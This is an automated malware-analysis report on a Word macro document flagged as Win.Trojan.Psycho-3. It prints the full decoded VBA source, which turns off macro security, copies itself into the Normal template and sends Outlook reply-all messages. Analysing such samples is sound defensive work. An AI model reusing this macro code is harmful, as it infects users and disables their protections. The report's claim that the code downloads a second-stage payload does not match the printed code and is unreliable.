Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 07b5021a649ce6c9…

MALICIOUS

Office (OLE)

39.0 KB Created: 2000-07-10 10:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a23f111474547430bb7d011337787d66 SHA-1: 606c1dae5286237b8a3d5fef04006a4a55f96229 SHA-256: 07b5021a649ce6c941fa3ede58303d05c82d491597eea5e7a963e7c9da4c8615
260 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that attempts to disable security settings and execute code. The ClamAV heuristic identifies the family as Win.Trojan.Psycho-3, and an extracted artifact is also flagged by ClamAV. The VBA code appears to be designed to download and execute a second-stage payload, indicated by the logic for constructing a new filename and writing VBA code to it.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14271 bytes
SHA-256: c35a04bf6a41940d295b5261882911498b23dab30de089f9d80667eb2d8cca5c
Detection
ClamAV: Doc.Trojan.Seqnum-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
hnetCmd.Enabled = True
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
CHL = NTI1.Properties.Item("ConsecutiveHyphensLimit").Value
If CHL > 800 Then
If ((CHL / 1000 + (CHL / 10 Mod 100)) Mod 10) = ((CHL / 100 Mod 10) + CHL Mod 10) Then GoTo Caught
Else
seqNum = 4620
hnetPath = Application.Path
hnetName = hnetPath & "\" & CStr(seqNum) & ".bas"
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
ADCL = ADI1.CodeModule.CountOfLines
moduleName = ADI1.Name
Open hnetName For Output Lock Read Write As #1
firstLine = "Attribute VB_Name = " & """" & moduleName & """"
Print #1, firstLine
i = 1
Do While ADI1.CodeModule.Lines(i, 1) <> ""
thisLine = ADI1.CodeModule.Lines(i, 1)
If thisLine = "seqNum = " & CStr(seqNum) Then
    a = Int(seqNum / 1000): b = Int(seqNum / 100) Mod 10: c = Int(seqNum / 10) Mod 10: d = seqNum Mod 10
    e = (a + b) Mod 10: f = (b + c) Mod 10: g = (c + d) Mod 10: h = (d + a) Mod 10
    newSeq = e * 1000 + f * 100 + g * 10 + h
    Print #1, "seqNum = " & CStr(newSeq)
Else
    Print #1, thisLine
End If
i = i + 1
Loop
Close #1
NTI1.Properties.Item("ConsecutiveHyphensLimit").Value = seqNum
NTCL = NTI1.CodeModule.CountOfLines
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
NTI1.CodeModule.InsertLines 1, "Private Sub Document_Close()"
NTI1.CodeModule.InsertLines 2, "Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)"
NTI1.CodeModule.InsertLines 3, "ADCL = ADI1.CodeModule.CountOfLines"
NTI1.CodeModule.InsertLines 4, "If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL"
NTI1.CodeModule.InsertLines 5, "ADI1.CodeModule.AddFromFile (" & """" & hnetName & """" & ")"
NTI1.CodeModule.InsertLines 6, "ActiveDocument.SaveAs FileName:=ActiveDocument.FullName"
NTI1.CodeModule.InsertLines 7, "ActiveDocument.Saved = True"
NTI1.CodeModule.InsertLines 8, "End Sub"
End If
Caught:
Dim hnetDays(0 To 4, 0 To 1) As String
hnetDays(0, 0) = "0101": hnetDays(0, 1) = "Happy New Year!"
hnetDays(1, 0) = "0214": hnetDays(1, 1) = "Acutally... I love you."
hnetDays(2, 0) = "1203": hnetDays(2, 1) = "Happy Birthday, hnet!"
hnetDays(3, 0) = "1225": hnetDays(3, 1) = "Merry Christmas!"
Dim hnetApp, hnetMapiName, hnetMailItem, hnetDefInbox, hnetMailReply
Dim hnetContactCount, hnetInboxCount As Long
Set hnetApp = CreateObject("Outlook.Application")
Set hnetMapiName = hnetApp.GetNamespace("MAPI")
hnetMapiName.Logon "profile", "password"
Set hnetinspector = hnetApp.ActiveInspector
Set hnetMailItem = hnetinspector.CurrentItem
Set hnetMailReply = hnetMailItem.Actions("Reply to All").Execute
hnetMailReply.Body = "OK! I got it, thanks."
For i = 0 To 3
If Day(Now) = CInt(Right(hnetDays(i, 0), 2)) And Month(Now) = CInt(Left(hnetDays(i, 0), 2)) Then
hnetMailReply.Body = hnetMailReply.Body & Chr(13) & Chr(10) & hnetDays(i, 1)
Exit For
End If
Next i
If i = 2 Then age = (Year(Now) - 1998)
hnetMailReply.Body = hnetMailReply.Body & Chr(13) & Chr(10) & "Let's celebrating your " & age & " year(s) old birthday!"
hnetMailReply.Body = hnetMailReply.Body & Chr(13) & Chr(10) & Application.UserName
peep = ""
hnetMailReply.Send
hnetMapiName.Logoff
End Sub

' Processing file: /opt/analyzer/scan_staging/28436987ef4e4c9f9e3a693aef723f3a.bin
' ===============================================================================
' Modu
... (truncated)